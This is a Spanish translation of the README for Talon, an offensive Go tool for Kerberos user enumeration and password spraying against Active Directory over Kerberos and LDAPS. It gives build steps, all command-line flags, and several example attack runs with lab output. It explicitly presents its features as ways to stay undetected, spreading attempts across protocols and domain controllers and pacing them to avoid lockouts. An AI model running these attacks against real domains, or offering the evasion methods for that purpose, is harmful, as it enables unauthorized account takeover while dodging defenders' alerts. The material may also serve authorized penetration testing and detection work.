
Una herramienta de adivinación de contraseñas que apunta a los servicios Kerberos y LDAP dentro del entorno de Active Directory de Windows.
Para ver la última versión de Talon o para reportar un problema, consulte https://github.com/Tylous/Talon.
Talon es una herramienta diseñada para realizar ataques automatizados de adivinación de contraseñas mientras permanece sin ser detectado. Talon puede enumerar una lista de usuarios para identificar cuáles son válidos, utilizando Kerberos. Talon también puede realizar un ataque de adivinación de contraseñas contra los servicios Kerberos y LDAPS (LDAP Seguro). Talon puede usar un solo controlador de dominio o varios para realizar estos ataques, aleatorizando cada intento entre los controladores de dominio y los servicios (LDAP o Kerberos).
Puede encontrar más información sobre las técnicas en el siguiente Blog
Descargue el lanzamiento para su sistema operativo desde releases
Talon fue desarrollado en Golang.
El primer paso, como siempre, es clonar el repositorio. Antes de compilar Talon, deberá instalar las dependencias. Para instalarlas, ejecute los siguientes comandos:
go get github.com/fatih/color
go get gopkg.in/jcmturner/gokrb5.v7/client
go get gopkg.in/jcmturner/gokrb5.v7/config
go get gopkg.in/jcmturner/gokrb5.v7/iana/etypeID
go get gopkg.in/ldap.v2
Luego constrúyalo
go build Talon.go
$ ./Talon -h
Uso de ./Talon:
-A float
Intentos de autenticación por período de bloqueo (por defecto 3)
-D cadena
Dominio completamente calificado a usar
-E Enumera qué usuarios son válidos
-H cadena
Controlador de dominio al que conectarse
-Hostfile cadena
Archivo que contiene la lista de controladores de dominio a los que conectarse
-K Probar solo contra Kerberos
-L Probar solo contra LDAP
-Lockout float
Período de bloqueo de cuenta en minutos (por defecto 60)
-O cadena
Archivo para agregar los resultados
-P cadena
Contraseña a usar
-Passfile cadena
Archivo que contiene la lista de contraseñas
-U cadena
Nombre de usuario para autenticarse
-Userfile cadena
Archivo que contiene la lista de nombres de usuario
-debug
Imprimir declaraciones de depuración
-sleep float
Tiempo entre intentos (por defecto 0.5)
El modo de enumeración de usuarios se puede ejecutar con la bandera -E, que enviará solo una solicitud de preautenticación de TGT de Kerberos al KDC de destino; sin embargo, esta solicitud se envía con un tipo de cifrado conocido como malo o ya no compatible. Talon revisa la respuesta del KDC para determinar si responde con un KDC_ERR_ETYPE_NOSUPP, lo que indica si un usuario existe o KDC_ERR_C_PRINCIPAL_UNKNOWN si no existe. Talon puede realizar este tipo de enumeración contra múltiples controladores de dominio en una empresa usando el comando -Hostfile para especificar varios controladores de dominio, o un solo controlador de dominio usando -H. Usar esta técnica no causará ningún fallo de inicio de sesión, por lo que no bloqueará a ninguno de los usuarios.
./Talon -D STARLABS.LOCAL -Hostfile DCs -Userfile Users -sleep 1 -E
__________ ________ ___ ________ ________
|\___ _\\\ __ \|\ \ |\ __ \|\ ___ \
\|___ \ \_\ \ \|\ \ \ \ \ \ \|\ \ \ \\ \ \
\ \ \ \ \ __ \ \ \ \ \ \\\ \ \ \\ \ \
\ \ \ \ \ \ \ \ \ \____\ \ \\\ \ \ \\ \ \
\ \__\ \ \__\ \__\ \_______\ \_______\ \__\\ \__\
\|__| \|__|\|__|\|_______|\|_______|\|__| \|__|
(@Tyl0us)
[-] 172.16.144.195 STARLABS.LOCAL\asmith: = Usuario No Existe
[+] 172.16.144.185 STARLABS.LOCAL\ballen: = Usuario Existe
[-] 172.16.144.186 STARLABS.LOCAL\bjohnson: = Usuario No Existe
[-] 172.16.144.195 STARLABS.LOCAL\bwayne: = Usuario No Existe
[+] 172.16.144.195 STARLABS.LOCAL\csnow: = Usuario Existe
[-] 172.16.144.186 STARLABS.LOCAL\jtodd: = Usuario No Existe
[+] 172.16.144.186 STARLABS.LOCAL\hwells: = Usuario Existe
[-] 172.16.144.186 STARLABS.LOCAL\wwest: = Cuenta de Usuario Bloqueada
Talon utiliza Kerberos y LDAP, ambos integrados en Active Directory para la autenticación. Talon puede realizar adivinación de contraseñas alternando entre los dos servicios, lo que permite dividir el tráfico del ataque de contraseñas entre dos protocolos. Esto divide el número de eventos potenciales generados, reduciendo así la posibilidad de una alerta. Talon va un paso más allá, distribuyendo un ataque de contraseñas contra múltiples controladores de dominio en una empresa usando el -Hostfile, alternando entre LDAP y Kerberos cada vez para crear una capa adicional de oscuridad. Se puede proporcionar un solo controlador de dominio usando el comando -H si es necesario.
./Talon -D STARLABS.LOCAL -Hostfile DCs -Userfile ValidUsers -P "Not3vil" -sleep 1
__________ ________ ___ ________ ________
|\___ _\\\ __ \|\ \ |\ __ \|\ ___ \
\|___ \ \_\ \ \|\ \ \ \ \ \ \|\ \ \ \\ \ \
\ \ \ \ \ __ \ \ \ \ \ \\\ \ \ \\ \ \
\ \ \ \ \ \ \ \ \ \____\ \ \\\ \ \ \\ \ \
\ \__\ \ \__\ \__\ \_______\ \_______\ \__\\ \__\
\|__| \|__|\|__|\|_______|\|_______|\|__| \|__|
(@Tyl0us)
[-] 172.16.144.186 STARLABS.LOCAL\admin:Not3vil = Falló
[-] 172.16.144.185 STARLABS.LOCAL\ballen:Not3vil = Falló
[-] 172.16.144.195 STARLABS.LOCAL\cramon:Not3vil = Falló
[+] 172.16.144.185 STARLABS.LOCAL\hwells:Not3vil = Éxito
[-] 172.16.144.195 STARLABS.LOCAL\ssmith:Not3vil = Falló
Talon está diseñado para ser versátil dada cualquier situación; por lo tanto, si solo Kerberos está disponible, Talon puede configurarse para atacar solo contra Kerberos usando la bandera -K o solo LDAP usando la bandera -L.
Talon puede usar tanto Kerberos como LDAP para leer las respuestas mientras realizamos un ataque de adivinación de contraseñas. Talon puede detectar bloqueos de cuenta durante un ataque activo de adivinación de contraseñas leyendo el código de respuesta de cada intento de contraseña. Esto puede ayudar a prevenir cualquier bloqueo no deseado de cuentas en toda una empresa, ayudándole a permanecer sin ser detectado. Simplemente siga el mensaje para salir o continuar el ataque.
root@kali:~# ./Talon -Hostfile DCs -Userfile ValidUsers -D STARLABS.local -P "Password!" -sleep 2
__________ ________ ___ ________ ________
|\___ _\\\ __ \|\ \ |\ __ \|\ ___ \
\|___ \ \_\ \ \|\ \ \ \ \ \ \|\ \ \ \\ \ \
\ \ \ \ \ __ \ \ \ \ \ \\\ \ \ \\ \ \
\ \ \ \ \ \ \ \ \ \____\ \ \\\ \ \ \\ \ \
\ \__\ \ \__\ \__\ \_______\ \_______\ \__\\ \__\
\|__| \|__|\|__|\|_______|\|_______|\|__| \|__|
(@Tyl0us)
[-] 172.16.144.186 STARLABS.LOCAL\ballen:Password! = Falló
[-] 172.16.144.185 STARLABS.LOCAL\csnow:Password! = Falló
[-] 172.16.144.186 STARLABS.LOCAL\wwest:Password! = Cuenta de Usuario Bloqueada
[*] Se detectó bloqueo de cuenta - ¿Desea continuar? [s/n]:
Talon viene equipado para detectar si los controladores de dominio objetivo están activos o se vuelven no disponibles. Esto ayuda a garantizar que obtenga resultados precisos sin perder tiempo.
root@kali:~# ./Talon -H 172.14.15.1 -Userfile ValidUsers -D STARLABS.local -P "Frosty20" -sleep 2
__________ ________ ___ ________ ________
|\___ _\\\ __ \|\ \ |\ __ \|\ ___ \
\|___ \ \_\ \ \|\ \ \ \ \ \ \|\ \ \ \\ \ \
\ \ \ \ \ __ \ \ \ \ \ \\\ \ \ \\ \ \
\ \ \ \ \ \ \ \ \ \____\ \ \\\ \ \ \\ \ \
\ \__\ \ \__\ \__\ \_______\ \_______\ \__\\ \__\
\|__| \|__|\|__|\|_______|\|_______|\|__| \|__|
(@Tyl0us)
[Causa raíz: Error_de_red] Error_de_red: Error de intercambio AS: falló el envío de AS_REQ al KDC: falló la comunicación con el KDC 172.14.15.1
[*] ¿Desea continuar? [s/n]:
Talon tiene la capacidad de realizar adivinación de contraseñas contra una lista de posibles contraseñas en un archivo usando (-Passfile). Como esto puede ser MUY PELIGROSO, Talon tiene controles para pausar después de un cierto número de intentos (-A) durante un tiempo especificado (-Lockout). Tenga en cuenta que es importante conocer la política de contraseñas antes de usar estas opciones, ya que poner en cola múltiples intentos de contraseña puede bloquear cuentas si no tiene la política de contraseñas.
./Talon -H 172.16.144.185 -Userfile users -Passfile Passwords -D STARLABS.local -Lockout 45 -A 2 -sleep 1.5
__________ ________ ___ ________ ________
|\___ _\\\ __ \|\ \ |\ __ \|\ ___ \
\|___ \ \_\ \ \|\ \ \ \ \ \ \|\ \ \ \\ \ \
\ \ \ \ \ __ \ \ \ \ \ \\\ \ \ \\ \ \
\ \ \ \ \ \ \ \ \ \____\ \ \\\ \ \ \\ \ \
\ \__\ \ \__\ \__\ \_______\ \_______\ \__\\ \__\
\|__| \|__|\|__|\|_______|\|_______|\|__| \|__|
(@Tyl0us)
[*] Advertencia: La opción de selección rociará múltiples contraseñas y corre el riesgo de bloquear cuentas. ¿Desea continuar? [s/n]: s
03-10-2022 15:58:21: Usando contraseña: Password123
[-] 172.16.144.185 STARLABS.LOCAL\admin:Password123 = Falló
[-] 172.16.144.185 STARLABS.LOCAL\ballen:Password123 = Falló
[-] 172.16.144.185 STARLABS.LOCAL\cramon:Password123 = Falló
[-] 172.16.144.185 STARLABS.LOCAL\hwells:Password123 = Falló
[-] 172.16.144.185 STARLABS.LOCAL\ssmith:Password123 = Falló
03-10-2022 15:58:26: Usando contraseña: Spring2022
[-] 172.16.144.185 STARLABS.LOCAL\admin:Spring2022 = Falló
[-] 172.16.144.185 STARLABS.LOCAL\ballen:Spring2022 = Falló
[-] 172.16.144.185 STARLABS.LOCAL\cramon:Spring2022 = Falló
[-] 172.16.144.185 STARLABS.LOCAL\hwells:Spring2022 = Falló
[-] 172.16.144.185 STARLABS.LOCAL\ssmith:Spring2022 = Falló
Se alcanzó el período de tiempo de espera - Durmiendo durante 45 minutos...
Se reanudará a las 03-10-2022 16:43:35